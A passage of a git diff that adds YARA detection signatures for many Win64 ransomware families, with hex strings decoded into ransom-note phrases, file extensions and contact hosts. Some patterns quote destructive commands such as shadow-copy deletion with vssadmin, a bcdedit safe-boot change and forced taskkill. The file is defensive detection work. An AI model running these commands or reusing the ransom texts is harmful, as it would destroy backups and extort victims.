{64 65 63 72 79 70 74 69 6f 6e 64 65 73 63 72 69 70 74 69 6f 6e 2e 70 64 66 } //1 decryptiondescription.pdf + $a_81_6 = {49 6d 70 6f 72 74 61 6e 74 21 21 21 2e 70 64 66 } //3 Important!!!.pdf + $a_81_7 = {2e 6c 6f 63 6b } //1 .lock + $a_81_8 = {48 6f 77 20 74 6f 20 64 65 63 72 79 70 74 20 6d 79 20 64 61 74 61 2e 6c 6f 67 } //1 How to decrypt my data.log + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*3+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*3+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=13 + +} \ No newline at end of file diff --git a/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_MKC_MTB.yar b/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_MKC_MTB.yar new file mode 100644 index 0000000000..2e7df8394d --- /dev/null +++ b/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_MKC_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_LockBit_MKC_MTB{ + meta: + description = "Ransom:Win64/LockBit.MKC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_81_0 = {2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d } //1 -----BEGIN RSA PUBLIC KEY----- + $a_81_1 = {2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d } //1 -----END RSA PUBLIC KEY----- + $a_81_2 = {68 69 6a 61 63 6b 65 64 2e 70 64 62 } //3 hijacked.pdb + $a_81_3 = {64 65 63 72 79 70 74 69 6f 6e 64 65 73 63 72 69 70 74 69 6f 6e 2e 70 64 66 } //1 decryptiondescription.pdf + $a_81_4 = {2e 6c 6f 63 6b } //2 .lock + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*3+(#a_81_3 & 1)*1+(#a_81_4 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_TRX_MTB.yar b/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_TRX_MTB.yar new file mode 100644 index 0000000000..9f1722ad89 --- /dev/null +++ b/Ransom/Win64/Lockbit/Ransom_Win64_LockBit_TRX_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_LockBit_TRX_MTB{ + meta: + description = "Ransom:Win64/LockBit.TRX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {48 6f 77 20 74 6f 20 64 65 63 72 79 70 74 20 6d 79 20 64 61 74 61 2e 74 78 74 } //1 How to decrypt my data.txt + $a_01_1 = {59 6f 75 72 20 64 65 63 72 79 70 74 20 49 44 3a } //1 Your decrypt ID: + $a_01_2 = {40 70 72 6f 74 6f 6e 2e 6d 65 } //1 @proton.me + $a_01_3 = {61 69 5c 61 6b 34 37 5c 77 72 69 74 65 6e 75 6c 6c 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 77 72 69 74 65 6e 75 6c 6c 2e 70 64 62 } //2 ai\ak47\writenull\x64\Release\writenull.pdb + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Lynx/Ransom_Win64_Lynx_YAE_MTB.yar b/Ransom/Win64/Lynx/Ransom_Win64_Lynx_YAE_MTB.yar new file mode 100644 index 0000000000..da851a542d --- /dev/null +++ b/Ransom/Win64/Lynx/Ransom_Win64_Lynx_YAE_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Lynx_YAE_MTB{ + meta: + description = "Ransom:Win64/Lynx.YAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 00 " + + strings : + $a_01_0 = {2e 00 6c 00 79 00 6e 00 78 00 } //1 .lynx + $a_01_1 = {2d 00 2d 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 2d 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 } //1 --encrypt-network + $a_01_2 = {52 00 45 00 41 00 44 00 4d 00 45 00 2e 00 74 00 78 00 74 00 } //1 README.txt + $a_01_3 = {2d 00 2d 00 6e 00 6f 00 2d 00 62 00 61 00 63 00 6b 00 67 00 72 00 6f 00 75 00 6e 00 64 00 } //1 --no-background + $a_01_4 = {52 32 39 76 5a 43 42 68 5a 6e 52 6c 63 6d 35 76 62 32 34 73 49 48 64 6c 49 47 46 79 5a 53 42 4d 65 57 35 34 49 45 64 79 62 33 56 77 4c 67 30 4b } //10 R29vZCBhZnRlcm5vb24sIHdlIGFyZSBMeW54IEdyb3VwLg0K + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*10) >=14 + +} \ No newline at end of file diff --git a/Ransom/Win64/Lynx/Ransom_Win64_Lynx_YAF_MTB.yar b/Ransom/Win64/Lynx/Ransom_Win64_Lynx_YAF_MTB.yar new file mode 100644 index 0000000000..68a12904be --- /dev/null +++ b/Ransom/Win64/Lynx/Ransom_Win64_Lynx_YAF_MTB.yar @@ -0,0 +1,17 @@ + +rule Ransom_Win64_Lynx_YAF_MTB{ + meta: + description = "Ransom:Win64/Lynx.YAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 00 " + + strings : + $a_01_0 = {77 65 20 61 72 65 20 4c 79 6e 78 20 47 72 6f 75 70 } //1 we are Lynx Group + $a_01_1 = {61 74 74 61 63 6b 65 64 } //1 attacked + $a_01_2 = {64 65 63 72 79 70 74 20 79 6f 75 72 20 66 69 6c 65 73 } //1 decrypt your files + $a_01_3 = {73 74 61 72 74 20 6e 65 67 6f 74 69 61 74 69 6f 6e 73 } //1 start negotiations + $a_01_4 = {66 69 6c 65 73 20 73 74 6f 6c 65 6e } //1 files stolen + $a_01_5 = {69 6e 74 65 72 65 73 74 65 64 20 6f 6e 6c 79 20 69 6e 20 6d 6f 6e 65 79 } //1 interested only in money + $a_01_6 = {6c 79 6e 78 63 68 61 74 } //10 lynxchat + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*10) >=16 + +} \ No newline at end of file diff --git a/Ransom/Win64/MadiLockCrypt/Ransom_Win64_MadiLockCrypt_PA_MTB.yar b/Ransom/Win64/MadiLockCrypt/Ransom_Win64_MadiLockCrypt_PA_MTB.yar new file mode 100644 index 0000000000..0567acbcf8 --- /dev/null +++ b/Ransom/Win64/MadiLockCrypt/Ransom_Win64_MadiLockCrypt_PA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_MadiLockCrypt_PA_MTB{ + meta: + description = "Ransom:Win64/MadiLockCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {2e 4d 61 64 69 4c 6f 63 6b } //3 .MadiLock + $a_01_1 = {52 45 41 44 4d 45 5f 54 4f 5f 52 45 43 4f 56 45 52 5f 46 49 4c 45 53 21 21 21 2e 74 78 74 } //1 README_TO_RECOVER_FILES!!!.txt + $a_01_2 = {46 69 6c 65 73 20 77 65 72 65 20 65 6e 63 72 79 70 74 65 64 20 61 6e 64 20 73 74 6f 6c 65 6e 2e 20 50 61 79 20 74 6f 20 64 65 63 72 79 70 74 20 61 6e 64 20 64 65 6c 65 74 65 20 73 74 6f 6c 65 6e 20 63 6f 70 69 65 73 } //1 Files were encrypted and stolen. Pay to decrypt and delete stolen copies + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Mallox/Ransom_Win64_Mallox_C_MTB.yar b/Ransom/Win64/Mallox/Ransom_Win64_Mallox_C_MTB.yar new file mode 100644 index 0000000000..8ba0df8718 --- /dev/null +++ b/Ransom/Win64/Mallox/Ransom_Win64_Mallox_C_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Mallox_C_MTB{ + meta: + description = "Ransom:Win64/Mallox.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_01_0 = {59 6f 75 72 20 66 69 6c 65 73 20 68 61 73 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 } //3 Your files has been encrypted + $a_00_1 = {64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //3 delete shadows /all /quiet + $a_00_2 = {24 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 7e 00 77 00 73 00 } //1 $windows.~ws + $a_00_3 = {24 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2e 00 7e 00 62 00 74 00 } //1 $windows.~bt + $a_00_4 = {46 00 49 00 4c 00 45 00 20 00 52 00 45 00 43 00 4f 00 56 00 45 00 52 00 59 00 2e 00 74 00 78 00 74 00 } //1 FILE RECOVERY.txt + condition: + ((#a_01_0 & 1)*3+(#a_00_1 & 1)*3+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win64/MedusaLocker/Ransom_Win64_MedusaLocker_MZT_MTB.yar b/Ransom/Win64/MedusaLocker/Ransom_Win64_MedusaLocker_MZT_MTB.yar new file mode 100644 index 0000000000..73dba50249 --- /dev/null +++ b/Ransom/Win64/MedusaLocker/Ransom_Win64_MedusaLocker_MZT_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_Win64_MedusaLocker_MZT_MTB{ + meta: + description = "Ransom:Win64/MedusaLocker.MZT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {33 c0 48 c7 83 80 ?? ?? ?? ?? ?? ?? ?? 0f b6 44 18 40 30 07 48 ff c7 48 ff 83 80 00 00 00 48 83 ee 01 75 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/MoroccanDragon/Ransom_Win64_MoroccanDragon_AMD_MTB.yar b/Ransom/Win64/MoroccanDragon/Ransom_Win64_MoroccanDragon_AMD_MTB.yar new file mode 100644 index 0000000000..c34c79ecc4 --- /dev/null +++ b/Ransom/Win64/MoroccanDragon/Ransom_Win64_MoroccanDragon_AMD_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_MoroccanDragon_AMD_MTB{ + meta: + description = "Ransom:Win64/MoroccanDragon.AMD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 06 00 00 " + + strings : + $a_03_0 = {48 8d 0d 21 4b 00 00 e8 ?? ?? ?? ?? 48 89 c3 48 85 c0 74 ?? 48 89 c2 48 89 e9 e8 ?? ?? ?? ?? 48 89 d9 e8 ?? ?? ?? ?? 48 8d 0d 06 4b } //6 + $a_01_1 = {53 65 6e 64 69 6e 67 20 65 6e 63 72 79 70 74 69 6f 6e 20 6b 65 79 73 20 74 6f 20 54 65 6c 65 67 72 61 6d } //1 Sending encryption keys to Telegram + $a_01_2 = {54 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 20 00 42 00 6f 00 74 00 20 00 43 00 6c 00 69 00 65 00 6e 00 74 00 } //2 Telegram Bot Client + $a_01_3 = {61 00 70 00 69 00 2e 00 74 00 65 00 6c 00 65 00 67 00 72 00 61 00 6d 00 2e 00 6f 00 72 00 67 00 } //3 api.telegram.org + $a_01_4 = {2e 76 69 63 6f } //5 .vico + $a_01_5 = {63 61 73 65 5f 69 64 2e 74 78 74 } //4 case_id.txt + condition: + ((#a_03_0 & 1)*6+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*3+(#a_01_4 & 1)*5+(#a_01_5 & 1)*4) >=21 + +} \ No newline at end of file diff --git a/Ransom/Win64/NekarkCrypt/Ransom_Win64_NekarkCrypt_PA_MTB.yar b/Ransom/Win64/NekarkCrypt/Ransom_Win64_NekarkCrypt_PA_MTB.yar index 96091de751..68e01bfdb1 100644 --- a/Ransom/Win64/NekarkCrypt/Ransom_Win64_NekarkCrypt_PA_MTB.yar +++ b/Ransom/Win64/NekarkCrypt/Ransom_Win64_NekarkCrypt_PA_MTB.yar @@ -10,4 +10,17 @@ rule Ransom_Win64_NekarkCrypt_PA_MTB{ condition: ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*4) >=6 +} +rule Ransom_Win64_NekarkCrypt_PA_MTB_2{ + meta: + description = "Ransom:Win64/NekarkCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {50 61 79 20 42 54 43 } //1 Pay BTC + $a_01_1 = {2e 63 72 6f 77 64 73 74 72 69 6b 65 } //1 .crowdstrike + $a_01_2 = {5c 48 69 43 72 6f 77 64 53 74 72 69 6b 65 2e 74 78 74 } //2 \HiCrowdStrike.txt + $a_01_3 = {53 75 63 63 65 73 73 66 75 6c 6c 79 20 65 6e 63 72 79 70 74 65 64 3a } //1 Successfully encrypted: + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1) >=5 + } \ No newline at end of file diff --git a/Ransom/Win64/Newcryptor/Ransom_Win64_Newcryptor_YAE_MTB.yar b/Ransom/Win64/Newcryptor/Ransom_Win64_Newcryptor_YAE_MTB.yar new file mode 100644 index 0000000000..366bc7a230 --- /dev/null +++ b/Ransom/Win64/Newcryptor/Ransom_Win64_Newcryptor_YAE_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_Newcryptor_YAE_MTB{ + meta: + description = "Ransom:Win64/Newcryptor.YAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 04 00 00 " + + strings : + $a_01_0 = {43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 } //1 CreateEncryptor + $a_01_1 = {59 00 6f 00 75 00 72 00 20 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 69 00 73 00 20 00 68 00 61 00 63 00 6b 00 65 00 64 00 } //10 Your network is hacked + $a_01_2 = {66 00 69 00 6c 00 65 00 73 00 20 00 61 00 72 00 65 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //10 files are encrypted + $a_01_3 = {6e 65 77 63 72 79 70 74 6f 72 2e 70 64 62 } //1 newcryptor.pdb + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*10+(#a_01_2 & 1)*10+(#a_01_3 & 1)*1) >=22 + +} \ No newline at end of file diff --git a/Ransom/Win64/NightSpire/Ransom_Win64_NightSpire_BA_MTB.yar b/Ransom/Win64/NightSpire/Ransom_Win64_NightSpire_BA_MTB.yar new file mode 100644 index 0000000000..a54436dfdd --- /dev/null +++ b/Ransom/Win64/NightSpire/Ransom_Win64_NightSpire_BA_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_NightSpire_BA_MTB{ + meta: + description = "Ransom:Win64/NightSpire.BA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_81_0 = {59 6f 75 72 20 73 65 6e 73 65 74 69 76 65 20 64 61 74 61 20 61 72 65 20 73 74 6f 6c 65 6e 20 61 6e 64 20 65 6e 63 72 79 70 74 65 64 21 } //1 Your sensetive data are stolen and encrypted! + $a_81_1 = {41 66 74 65 72 20 74 68 61 74 20 77 65 20 77 69 6c 6c 20 70 75 62 6c 69 63 20 74 68 69 73 20 73 69 74 75 61 74 69 6f 6e 20 61 6e 64 20 61 6c 6c 20 64 61 74 61 2e } //1 After that we will public this situation and all data. + $a_81_2 = {44 4f 20 4e 4f 54 20 4d 4f 44 49 46 59 20 46 49 4c 45 53 20 59 4f 55 52 53 45 4c 46 2e } //1 DO NOT MODIFY FILES YOURSELF. + $a_81_3 = {44 4f 20 4e 4f 54 20 55 53 45 20 54 48 49 52 44 20 50 41 52 54 59 20 53 4f 46 54 57 41 52 45 20 54 4f 20 52 45 53 54 4f 52 45 20 59 4f 55 52 20 44 41 54 41 2e } //1 DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA. + $a_81_4 = {6f 6e 69 6f 6e 6d 61 69 6c 2e 6f 72 67 } //1 onionmail.org + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/NightSpire/Ransom_Win64_NightSpire_YAF_MTB.yar b/Ransom/Win64/NightSpire/Ransom_Win64_NightSpire_YAF_MTB.yar new file mode 100644 index 0000000000..191c10a5ca --- /dev/null +++ b/Ransom/Win64/NightSpire/Ransom_Win64_NightSpire_YAF_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_NightSpire_YAF_MTB{ + meta: + description = "Ransom:Win64/NightSpire.YAF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {65 6e 63 72 79 70 74 65 64 20 62 79 20 4e 69 67 68 74 53 70 69 72 65 20 52 61 6e 73 6f 6d 77 61 72 65 } //1 encrypted by NightSpire Ransomware + $a_01_1 = {64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 } //1 decryption key + $a_01_2 = {75 73 65 20 74 68 69 72 64 2d 70 61 72 74 79 20 73 6f 66 74 77 61 72 65 } //1 use third-party software + $a_01_3 = {64 61 74 61 62 61 73 65 73 20 61 72 65 20 73 74 6f 6c 65 6e } //1 databases are stolen + $a_01_4 = {47 6f 20 62 75 69 6c 64 20 49 44 3a } //1 Go build ID: + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/NightSpireCrypt/Ransom_Win64_NightSpireCrypt_PA_MTB.yar b/Ransom/Win64/NightSpireCrypt/Ransom_Win64_NightSpireCrypt_PA_MTB.yar new file mode 100644 index 0000000000..c3d2e8ce73 --- /dev/null +++ b/Ransom/Win64/NightSpireCrypt/Ransom_Win64_NightSpireCrypt_PA_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_Win64_NightSpireCrypt_PA_MTB{ + meta: + description = "Ransom:Win64/NightSpireCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {2e 6f 6e 69 6f 6e } //1 .onion + $a_01_1 = {72 65 61 64 6d 65 2e 74 78 74 } //1 readme.txt + $a_01_2 = {6e 69 67 68 74 73 70 69 72 65 74 65 61 6d } //1 nightspireteam + $a_01_3 = {59 6f 75 72 20 73 65 72 76 65 72 73 20 61 6e 64 20 66 69 6c 65 73 20 61 72 65 20 6c 6f 63 6b 65 64 20 61 6e 64 20 63 6f 70 69 65 64 2e } //2 Your servers and files are locked and copied. + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/Nitrogen/Ransom_Win64_Nitrogen_A_MTB.yar b/Ransom/Win64/Nitrogen/Ransom_Win64_Nitrogen_A_MTB.yar new file mode 100644 index 0000000000..70e7e724a2 --- /dev/null +++ b/Ransom/Win64/Nitrogen/Ransom_Win64_Nitrogen_A_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_Nitrogen_A_MTB{ + meta: + description = "Ransom:Win64/Nitrogen.A!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {54 61 6b 65 20 74 68 69 73 20 73 65 72 69 6f 75 73 6c 79 2c 20 74 68 69 73 20 69 73 20 6e 6f 74 20 61 20 6a 6f 6b 65 21 20 59 6f 75 72 20 63 6f 6d 70 61 6e 79 20 6e 65 74 77 6f 72 6b 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 20 61 6e 64 } //1 Take this seriously, this is not a joke! Your company network are encrypted and + $a_81_1 = {79 6f 75 72 20 64 61 74 61 20 68 61 73 20 62 65 65 6e 20 73 74 6f 6c 65 6e 20 61 6e 64 20 64 6f 77 6e 6c 6f 61 64 65 64 20 74 6f 20 6f 75 72 20 73 65 72 76 65 72 73 2e 20 49 67 6e 6f 72 69 6e 67 20 74 68 69 73 20 6d 65 73 73 61 67 65 } //1 your data has been stolen and downloaded to our servers. Ignoring this message + $a_81_2 = {2e 6f 6e 69 6f 6e } //1 .onion + $a_81_3 = {49 6e 73 74 61 6c 6c 20 54 6f 72 20 42 72 6f 77 73 65 72 } //1 Install Tor Browser + $a_81_4 = {5f 52 45 41 44 5f 4d 45 5f 2e 54 58 54 } //1 _READ_ME_.TXT + $a_81_5 = {2e 4e 49 54 52 4f 47 45 4e } //1 .NITROGEN + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/Win64/NitrogenCrypt/Ransom_Win64_NitrogenCrypt_PA_MTB.yar b/Ransom/Win64/NitrogenCrypt/Ransom_Win64_NitrogenCrypt_PA_MTB.yar new file mode 100644 index 0000000000..d4630777fd --- /dev/null +++ b/Ransom/Win64/NitrogenCrypt/Ransom_Win64_NitrogenCrypt_PA_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_Win64_NitrogenCrypt_PA_MTB{ + meta: + description = "Ransom:Win64/NitrogenCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 00 " + + strings : + $a_01_0 = {4e 69 74 72 6f 67 65 6e 20 77 65 6c 63 6f 6d 65 20 79 6f 75 21 } //5 Nitrogen welcome you! + $a_01_1 = {5f 52 45 41 44 5f 4d 45 5f 2e 54 58 54 } //1 _READ_ME_.TXT + $a_01_2 = {2f 00 63 00 20 00 76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 2e 00 65 00 78 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 } //2 /c vssadmin.exe delete shadows /all /quiet + $a_01_3 = {72 00 65 00 61 00 64 00 6d 00 65 00 2e 00 74 00 78 00 74 00 } //1 readme.txt + $a_01_4 = {63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 74 00 61 00 73 00 6b 00 6b 00 69 00 6c 00 6c 00 20 00 2f 00 69 00 6d 00 20 00 25 00 6c 00 73 00 20 00 2f 00 66 00 } //1 cmd /c taskkill /im %ls /f + $a_01_5 = {62 63 64 65 64 69 74 20 2f 64 65 6c 65 74 65 76 61 6c 75 65 20 7b 64 65 66 61 75 6c 74 7d 20 73 61 66 65 62 6f 6f 74 } //1 bcdedit /deletevalue {default} safeboot + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/Ransom/Win64/Petya/Ransom_Win64_Petya_MKV_MTB.yar b/Ransom/Win64/Petya/Ransom_Win64_Petya_MKV_MTB.yar new file mode 100644 index 0000000000..5775f3eefa --- /dev/null +++ b/Ransom/Win64/Petya/Ransom_Win64_Petya_MKV_MTB.yar @@ -0,0 +1,18 @@ + +rule Ransom_Win64_Petya_MKV_MTB{ + meta: + description = "Ransom:Win64/Petya.MKV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 08 00 00 " + + strings : + $a_81_0 = {59 6f 75 72 20 46 69 6c 65 73 20 48 61 76 65 20 42 65 65 6e 20 45 6e 63 72 79 70 74 65 64 } //1 Your Files Have Been Encrypted + $a_81_1 = {66 69 6c 65 73 20 6f 6e 20 74 68 69 73 20 63 6f 6d 70 75 74 65 72 20 68 61 76 65 20 62 65 65 6e 20 65 6e 63 72 79 70 74 65 64 20 75 73 69 6e 67 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 20 41 45 53 2d 32 35 36 20 65 6e 63 72 79 70 74 69 6f 6e } //1 files on this computer have been encrypted using military-grade AES-256 encryption + $a_81_2 = {44 6f 20 6e 6f 74 20 61 74 74 65 6d 70 74 20 74 6f 20 75 73 65 20 74 68 69 72 64 2d 70 61 72 74 79 20 72 65 63 6f 76 65 72 79 20 74 6f 6f 6c 73 } //1 Do not attempt to use third-party recovery tools + $a_81_3 = {63 6f 72 72 75 70 74 20 79 6f 75 72 20 66 69 6c 65 73 20 70 65 72 6d 61 6e 65 6e 74 6c 79 } //1 corrupt your files permanently + $a_81_4 = {43 6f 6e 74 61 63 74 20 75 73 20 66 6f 72 20 64 65 63 72 79 70 74 69 6f 6e 20 6b 65 79 } //1 Contact us for decryption key + $a_81_5 = {44 6f 20 6e 6f 74 20 73 68 75 74 20 64 6f 77 6e 20 6f 72 20 6d 6f 64 69 66 79 20 74 68 69 73 20 70 72 6f 67 72 61 6d } //1 Do not shut down or modify this program + $a_81_6 = {50 65 74 79 61 58 57 50 46 5c 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 6e 65 74 38 2e 30 2d 77 69 6e 64 6f 77 73 5c 77 69 6e 2d 78 36 34 5c 50 65 74 79 61 58 2e 70 64 62 } //4 PetyaXWPF\obj\Release\net8.0-windows\win-x64\PetyaX.pdb + $a_81_7 = {44 65 63 72 79 70 74 69 6f 6e 20 63 6f 6d 70 6c 65 74 65 } //1 Decryption complete + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*4+(#a_81_7 & 1)*1) >=11 + +} \ No newline at end of file diff --git a/Ransom/Win64/Prince/Ransom_Win64_Prince_YAC_MTB.yar b/Ransom/Win64/Prince/Ransom_Win64_Prince_YAC_MTB.yar new file mode 100644 index 0000000000..385c6360b6 --- /dev/null +++ b/Ransom/Win64/Prince/Ransom_Win64_Prince_YAC_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_Win64_Prince_YAC_MTB{ + meta: + description = "Ransom:Win64/Prince.YAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 05 00 00 " + + strings : + $a_01_0 = {73 74 6f 6c 65 6e 20 61 6e 64 20 65 6e 63 72 79 70 74 65 64 } //1 stolen and encrypted + $a_01_1 = {70 61 79 20 74 68 65 20 72 61 6e 73 6f 6d } //10 pay the ransom + $a_01_2 = {77 61 6e 74 20 79 6f 75 72 20 6d 6f 6e 65 79 } //1 want your money + $a_01_3 = {64 65 63 72 79 70 74 20 6f 6e 65 20 66 69 6c 65 } //1 decrypt one file + $a_01_4 = {62 75 79 20 42 69 74 63 6f 69 6e } //1 buy Bitcoin + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*10+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=14 + +} \ No newline at end of file diff --git a/Ransom/Win64/PrinceRansom/Ransom_Win64_PrinceRansom_PA_MTB.yar b/Ransom/Win64/PrinceRansom/Ransom_Win64_PrinceRansom_PA_MTB.yar new file mode 100644 index 0000000000..c353bb006c --- /dev/null +++ b/Ransom/Win64/PrinceRansom/Ransom_Win64_PrinceRansom_PA_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_Win64_PrinceRansom_PA_MTB{ + meta: + description = "Ransom:Win64/PrinceRansom.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 } //1 Go build ID: " + $a_01_1 = {2d 52 61 6e 73 6f 6d 77 61 72 65 2f 65 6e 63 72 79 70 74 69 6f 6e 2e 45 6e 63 72 79 70 74 46 69 6c 65 } //1 -Ransomware/encryption.EncryptFile + $a_03_2 = {2d 6c 64 66 6c 61 67 73 3d 22 2d 48 3d 77 69 6e 64 6f 77 73 67 75 69 20 2d 73 20 2d 77 20 2d 58 20 27 [0-15] 2d 52 61 6e 73 6f 6d 77 61 72 65 2f 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 2e 50 75 62 6c 69 63 4b 65 79 3d } //3 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_03_2 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Ransom/Win64/RALord/Ransom_Win64_RALord_A.yar b/Ransom/Win64/RALord/Ransom_Win64_RALord_A.yar new file mode 100644 index 0000000000..c56e59559f --- /dev/null +++ b/Ransom/Win64/RALord/Ransom_Win64_RALord_A.yar @@ -0,0 +1,14 @@ + +rule 